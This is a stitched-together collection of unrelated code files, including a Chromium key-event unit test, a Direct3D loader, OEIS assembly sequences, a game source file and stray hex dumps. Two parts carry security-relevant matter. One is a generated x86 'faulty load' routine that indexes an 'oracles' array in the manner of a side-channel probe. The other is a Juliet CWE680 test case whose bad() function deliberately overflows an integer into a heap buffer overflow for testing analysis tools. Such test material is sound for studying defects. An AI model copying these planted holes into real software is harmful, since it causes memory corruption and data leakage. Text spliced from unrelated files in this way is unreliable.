00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/arc/ime/key_event_result_receiver.h"
#include "base/callback_helpers.h"
#include "base/test/bind.h"
#include "base/test/metrics/histogram_tester.h"
#include "base/test/task_environment.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "ui/events/base_event_utils.h"
#include "ui/events/event.h"
#include "ui/events/event_constants.h"
#include "ui/events/event_dispatcher.h"
#include "ui/events/keycodes/dom/dom_code.h"
#include "ui/events/keycodes/dom/dom_key.h"
namespace arc {
class KeyEventResultReceiverTest : public testing::Test {
public:
KeyEventResultReceiverTest()
: task_environment_(base::test::TaskEnvironment::TimeSource::MOCK_TIME),
receiver_() {}
~KeyEventResultReceiverTest() override = default;
KeyEventResultReceiver* receiver() { return &receiver_; }
void ForwardBy(base::TimeDelta delta) {
task_environment_.FastForwardBy(delta);
}
private:
base::test::TaskEnvironment task_environment_;
KeyEventResultReceiver receiver_;
};
TEST_F(KeyEventResultReceiverTest, ExpireCallback) {
absl::optional<bool> result;
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_NONE};
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
ForwardBy(base::Seconds(1));
EXPECT_TRUE(result.has_value());
EXPECT_FALSE(result.value());
}
TEST_F(KeyEventResultReceiverTest, EventStoppedPropagation) {
absl::optional<bool> result;
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_NONE};
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
event.StopPropagation();
receiver()->DispatchKeyEventPostIME(&event);
EXPECT_TRUE(result.has_value());
EXPECT_TRUE(result.value());
}
TEST_F(KeyEventResultReceiverTest, EventConsumedByIME) {
absl::optional<bool> result;
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
ui::KeyEvent event{ui::ET_KEY_PRESSED, ui::VKEY_PROCESSKEY,
ui::DomCode::NONE, ui::EF_IS_SYNTHESIZED,
ui::DomKey::PROCESS, ui::EventTimeForNow()};
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event);
EXPECT_TRUE(result.has_value());
EXPECT_TRUE(result.value());
}
TEST_F(KeyEventResultReceiverTest, EventNotCharacter) {
absl::optional<bool> result;
ui::KeyEvent event{ui::ET_KEY_PRESSED, ui::VKEY_LEFT,
ui::DomCode::ARROW_LEFT, ui::EF_NONE,
ui::DomKey::ARROW_LEFT, ui::EventTimeForNow()};
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event);
// A KeyEvent with no character is sent to ARC.
EXPECT_TRUE(result.has_value());
EXPECT_FALSE(result.value());
}
TEST_F(KeyEventResultReceiverTest, UnmodifiedEnterAndBackspace) {
absl::optional<bool> result;
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
ui::KeyEvent event{ui::ET_KEY_PRESSED, ui::VKEY_RETURN,
ui::DomCode::ENTER, ui::EF_NONE,
ui::DomKey::ENTER, ui::EventTimeForNow()};
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event);
// An Enter key event without modifiers is sent to ARC.
EXPECT_TRUE(result.has_value());
EXPECT_FALSE(result.value());
result.reset();
ui::KeyEvent event2{ui::ET_KEY_PRESSED, ui::VKEY_BACK,
ui::DomCode::BACKSPACE, ui::EF_NONE,
ui::DomKey::BACKSPACE, ui::EventTimeForNow()};
auto callback2 =
base::BindLambdaForTesting([&result](bool res) { result = res; });
receiver()->SetCallback(std::move(callback2), &event2);
receiver()->DispatchKeyEventPostIME(&event2);
// A Backspace key event without modifiers is sent to ARC as well.
EXPECT_TRUE(result.has_value());
EXPECT_FALSE(result.value());
}
TEST_F(KeyEventResultReceiverTest, ControlCharacters) {
absl::optional<bool> result;
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_CONTROL_DOWN};
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event);
// Ctrl-A should be sent to the proxy IME.
EXPECT_TRUE(result.has_value());
EXPECT_FALSE(result.value());
}
TEST_F(KeyEventResultReceiverTest, EventWithSystemModifier) {
absl::optional<bool> result;
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_ALT_DOWN};
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event);
// Alt-A should be sent to the proxy IME.
EXPECT_TRUE(result.has_value());
EXPECT_FALSE(result.value());
}
TEST_F(KeyEventResultReceiverTest, NormalCharacters) {
absl::optional<bool> result;
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_NONE};
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event);
// 'A' key should be sent to the proxy IME.
EXPECT_TRUE(result.has_value());
EXPECT_TRUE(result.value());
}
TEST_F(KeyEventResultReceiverTest, Histrogram) {
base::HistogramTester histogram_tester;
constexpr char kHistogramName[] = "Arc.ChromeOsImeLatency";
auto delay = base::Milliseconds(100);
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_NONE};
receiver()->SetCallback(base::DoNothing(), &event);
ForwardBy(delay);
receiver()->DispatchKeyEventPostIME(&event);
histogram_tester.ExpectTotalCount(kHistogramName, 1);
histogram_tester.ExpectUniqueTimeSample(kHistogramName, delay, 1);
receiver()->SetCallback(base::DoNothing(), &event);
ForwardBy(base::Seconds(1));
histogram_tester.ExpectTotalCount(kHistogramName, 2);
}
TEST_F(KeyEventResultReceiverTest, DifferentEvent) {
absl::optional<bool> result;
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_NONE};
ui::KeyEvent event2{'b', ui::VKEY_B, ui::DomCode::NONE, ui::EF_NONE};
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event2);
// The callback should not be called with a different event.
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event);
EXPECT_TRUE(result.has_value());
EXPECT_TRUE(result.value());
}
TEST_F(KeyEventResultReceiverTest, ProcessedKey) {
absl::optional<bool> result;
ui::KeyEvent event{'a', ui::VKEY_A, ui::DomCode::NONE, ui::EF_NONE};
ui::KeyEvent event2{'b', ui::VKEY_PROCESSKEY, ui::DomCode::NONE, ui::EF_NONE};
auto callback =
base::BindLambdaForTesting([&result](bool res) { result = res; });
receiver()->SetCallback(std::move(callback), &event);
EXPECT_FALSE(result.has_value());
receiver()->DispatchKeyEventPostIME(&event2);
// The callback should be called with a VKEY_PROCESSKEY event.
EXPECT_TRUE(result.has_value());
}
} // namespace arc
|
#include "DXCommon.h"
#include "RHI.h"
#include "Public/D3D12RHI.h"
#include "Utils.h"
#include <rapidjson/rapidjson.h>
#include <rapidjson/document.h>
#include <Core/Os.h>
#include <Core/AssetManager.h>
NS_K3D_D3D12_BEGIN
using namespace rapidjson;
/**
* @see Data/Test/GfxRootParameter.json
*/
void GfxRootParameter::Load(const char * rpFile)
{
Os::File f(rpFile);
if (!f.Open(IORead)) return;
int64 len = f.GetSize();
/*scope*/ char* data = new char[len + 1];
data[len] = 0;
Document d;
d.Parse(data);
if (!d.IsArray()) return;
int num = d.Capacity();
m_Count = num;
m_DescriptorRanges = new CD3DX12_DESCRIPTOR_RANGE[num];
m_TableSlots = new CD3DX12_ROOT_PARAMETER[num];
for (rapidjson::SizeType i = 0; i< d.Capacity(); ++i) {
Value & item = d[i];
//KLOG("GfxRootParameter", item["Table"].GetString());
D3D12_SHADER_VISIBILITY vis = D3D12_SHADER_VISIBILITY(item["ShaderVisibility"].GetInt());
UINT type = item["DescriptorRangeType"].GetInt();
UINT count = item["Count"].GetInt();
UINT baseReg = item["BaseShaderReg"].GetInt();
m_DescriptorRanges[i].Init((D3D12_DESCRIPTOR_RANGE_TYPE)type, count, baseReg);
m_TableSlots[i].InitAsDescriptorTable(1, &m_DescriptorRanges[i], vis);
}
}
NS_K3D_D3D12_END
|
; A254643: Third partial sums of ninth powers (A001017).
; 1,515,21225,324275,2862790,17714466,85232910,339635850,1168343775,3571356685,9906622271,25333920885,60457751900,135939162100,290221510860,592024274916,1159935330765,2192313968775,4011847886725,7130537084615,12342661609026,20855490677750,34470176952250,55828527972750,88745241004875,138649819727601,213167861625915,322877822653225,482286848785400,711077940022440,1035690718525016,1491309556381960,2124345937995225,2995516856131275,4183637949461985,5790269174655771,7945372271507710,10814163341280650,14605370745133350,19581138483065810,26068848489471991,34475172148201365,45302702071190775,59169560097949725,76832426871056340,99213492553179676,127431887617422500,162840217524379500,207066895871961125,262065047660167375,330168838062088701,414158172961360815,517332815949785850,643597072939677150,797556310515019090,984626698123956566,1211159697721873635,1484582968048415225,1813559504922236275,2208167004343336785,2680099612404550896,3242894415652142160,3912185228242964400,4705986448686499600,5645009989820638385,6753018531659180691,8057218608598421465,9588697320934790275,11382906756503863350,13480200522305640690,15926427119058571326,18773585244576884250,22080546485568847375,25913851252809540125,30348584232578259375,35469336068721583301,41371258455688683340,48161220314392844100,55959073240816683900,64899034962960202740,75131200116120399741,86823188250706982935,100161939621987492725,115355669978492858775,132635996266506284210,152260245903339432646,174513963043235333610,199713626068022853150,228209591381409476475,260389279472395203585,296680620141109822891,337555774750839891065,383535154384573895400,435191753844540452600,493155822540464172040,558119894468169533976,630844200686311103625,712162488957019030875,802988276527776956625,904321563398584880875
lpb $0
mov $2,$0
sub $0,1
seq $2,253637 ; Second partial sums of ninth powers (A001017).
add $1,$2
lpe
add $1,1
mov $0,$1
|
; A158593: a(n) = 38*n^2 + 1.
; 1,39,153,343,609,951,1369,1863,2433,3079,3801,4599,5473,6423,7449,8551,9729,10983,12313,13719,15201,16759,18393,20103,21889,23751,25689,27703,29793,31959,34201,36519,38913,41383,43929,46551,49249,52023,54873,57799,60801,63879,67033,70263,73569,76951,80409,83943,87553,91239,95001,98839,102753,106743,110809,114951,119169,123463,127833,132279,136801,141399,146073,150823,155649,160551,165529,170583,175713,180919,186201,191559,196993,202503,208089,213751,219489,225303,231193,237159,243201,249319,255513,261783,268129,274551,281049,287623,294273,300999,307801,314679,321633,328663,335769,342951,350209,357543,364953,372439
pow $0,2
mul $0,38
add $0,1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x5e35, %rsi
lea addresses_D_ht+0x1efa5, %rdi
nop
nop
xor %r12, %r12
mov $8, %rcx
rep movsq
nop
nop
nop
cmp $53500, %r11
lea addresses_UC_ht+0x140c5, %rsi
lea addresses_WT_ht+0x452d, %rdi
nop
inc %r10
mov $69, %rcx
rep movsb
nop
and %r11, %r11
lea addresses_normal_ht+0x18035, %rdi
nop
nop
inc %r9
movups (%rdi), %xmm2
vpextrq $1, %xmm2, %r12
nop
nop
nop
cmp $26357, %r10
lea addresses_A_ht+0x17e35, %rsi
lea addresses_normal_ht+0x1a275, %rdi
nop
nop
nop
nop
sub $2675, %r9
mov $86, %rcx
rep movsb
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x1c375, %rsi
lea addresses_WT_ht+0x4b95, %rdi
and %r11, %r11
mov $12, %rcx
rep movsq
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_WC_ht+0x16461, %rcx
nop
nop
nop
nop
nop
dec %r10
vmovups (%rcx), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rsi
nop
xor %r9, %r9
lea addresses_D_ht+0xc83d, %r11
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rdi
movq %rdi, (%r11)
nop
nop
and $53898, %rcx
lea addresses_WT_ht+0xea65, %r11
nop
nop
cmp %rsi, %rsi
movb (%r11), %r12b
nop
nop
nop
nop
nop
and %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WT+0x1236d, %r10
nop
nop
nop
add $38604, %rcx
movw $0x5152, (%r10)
nop
and $8633, %r8
// Store
mov $0x70f2be00000001ec, %rbp
nop
cmp %r11, %r11
movb $0x51, (%rbp)
dec %rsi
// Faulty Load
lea addresses_WT+0x1f795, %rcx
nop
nop
xor %r8, %r8
mov (%rcx), %si
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'00': 10679}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
/* -*- mode:C++; coding:utf-8-with-signature -*-
*
* Boss.cpp - Project PetitShooter
*
* Copyright (c) 2017 Yuji YASUHARA
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
* since Sun Aug 20 08:27:46 2017
*/
#include "Arduino.h"
#include "RenderManager.h"
#include "ExplosionManager.h"
#include "Score.h"
#include "Boss.h"
namespace UTJ {
void
Boss::init(int x, int y)
{
x_ = x;
y_ = y;
collider_.init(x_, y_,
Real(0) /* offset_x */, Real(0) /* offset_y */,
Real(1) /* w */, Real(1) /* h */);
lock_collider_.init(x_, y_);
vx_ = -0.1f;
vy_ = 0.0f;
alive_ = true;
cnt_ = 0;
}
void
Boss::die()
{
lock_collider_.setMode(LockModeNone);
alive_ = false;
}
void
Boss::update(ExplosionManager& explosion_manager, Score& score)
{
vy_ = (float)sin(((float)cnt_)*(10.0f*3.14f/180.0f)) * 0.25f;
++cnt_;
if (cnt_ >= 36) {
cnt_ = 0;
}
x_ += vx_;
y_ += vy_;
if (x_ < 0) {
die();
return;
}
if (collider_.isHit()) {
score.inc(10);
explosion_manager.spawn(x_, y_);
die();
return;
}
if (lock_collider_.isHit()) {
score.inc(10);
explosion_manager.spawn(x_, y_);
die();
return;
}
collider_.update(x_, y_);
lock_collider_.update(x_, y_);
}
void
Boss::render(RenderManager& render_manager)
{
render_manager.drawPoint(x_, y_);
}
} // namespace UTJ {
/*
* End of Boss.cpp
*/
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE680_Integer_Overflow_to_Buffer_Overflow__new_fixed_02.cpp
Label Definition File: CWE680_Integer_Overflow_to_Buffer_Overflow__new.label.xml
Template File: sources-sink-02.tmpl.cpp
*/
/*
* @description
* CWE: 680 Integer Overflow to Buffer Overflow
* BadSource: fixed Fixed value that will cause an integer overflow in the sink
* GoodSource: Small number greater than zero that will not cause an integer overflow in the sink
* Sink:
* BadSink : Attempt to allocate array using length value from source
* Flow Variant: 02 Control flow: if(1) and if(0)
*
* */
#include "std_testcase.h"
namespace CWE680_Integer_Overflow_to_Buffer_Overflow__new_fixed_02
{
#ifndef OMITBAD
void bad()
{
int data;
/* Initialize data */
data = -1;
if(1)
{
/* FLAW: Set data to a value that will cause an integer overflow in the call to new[] in the sink */
data = INT_MAX / 2 + 2; /* 1073741825 */
/* NOTE: This value will cause the sink to only allocate 4 bytes of memory, however
* the for loop will attempt to access indices 0-1073741824 */
}
{
size_t dataBytes,i;
int *intPointer;
/* POTENTIAL FLAW: dataBytes may overflow to a small value */
dataBytes = data * sizeof(int); /* sizeof array in bytes */
intPointer = (int*)new char[dataBytes];
for (i = 0; i < (size_t)data; i++)
{
intPointer[i] = 0; /* may write beyond limit of intPointer if integer overflow occured above */
}
printIntLine(intPointer[0]);
delete [] intPointer;
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B1() - use goodsource and badsink by changing the 1 to 0 */
static void goodG2B1()
{
int data;
/* Initialize data */
data = -1;
if(0)
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
printLine("Benign, fixed string");
}
else
{
/* FIX: Set data to a relatively small number greater than zero */
data = 20;
}
{
size_t dataBytes,i;
int *intPointer;
/* POTENTIAL FLAW: dataBytes may overflow to a small value */
dataBytes = data * sizeof(int); /* sizeof array in bytes */
intPointer = (int*)new char[dataBytes];
for (i = 0; i < (size_t)data; i++)
{
intPointer[i] = 0; /* may write beyond limit of intPointer if integer overflow occured above */
}
printIntLine(intPointer[0]);
delete [] intPointer;
}
}
/* goodG2B2() - use goodsource and badsink by reversing the statements in the if */
static void goodG2B2()
{
int data;
/* Initialize data */
data = -1;
if(1)
{
/* FIX: Set data to a relatively small number greater than zero */
data = 20;
}
{
size_t dataBytes,i;
int *intPointer;
/* POTENTIAL FLAW: dataBytes may overflow to a small value */
dataBytes = data * sizeof(int); /* sizeof array in bytes */
intPointer = (int*)new char[dataBytes];
for (i = 0; i < (size_t)data; i++)
{
intPointer[i] = 0; /* may write beyond limit of intPointer if integer overflow occured above */
}
printIntLine(intPointer[0]);
delete [] intPointer;
}
}
void good()
{
goodG2B1();
goodG2B2();
}
#endif /* OMITGOOD */
} /* close namespace */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
using namespace CWE680_Integer_Overflow_to_Buffer_Overflow__new_fixed_02; /* so that we can use good and bad easily */
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
; A059222: Minimal number of disjoint edge-paths into which the graph of the n-ary cube can be partitioned.
; 1,1,4,1,16,1,64,1,256,1,1024,1,4096,1,16384,1,65536,1,262144,1,1048576,1,4194304,1,16777216,1,67108864,1,268435456,1,1073741824,1,4294967296,1,17179869184,1,68719476736,1,274877906944,1,1099511627776,1,4398046511104,1,17592186044416,1,70368744177664,1,281474976710656,1,1125899906842624,1,4503599627370496,1
mov $1,2
gcd $1,$0
pow $1,$0
|
;
; Sorcerer Exidy Graphics Functions
;
; cls () -- clear screen
;
; Stefano Bodrato - 2014
;
;
; $Id: clsgraph.asm,v 1.5 2017/01/02 22:57:59 aralbrec Exp $
;
SECTION code_clib
PUBLIC cleargraphics
PUBLIC _cleargraphics
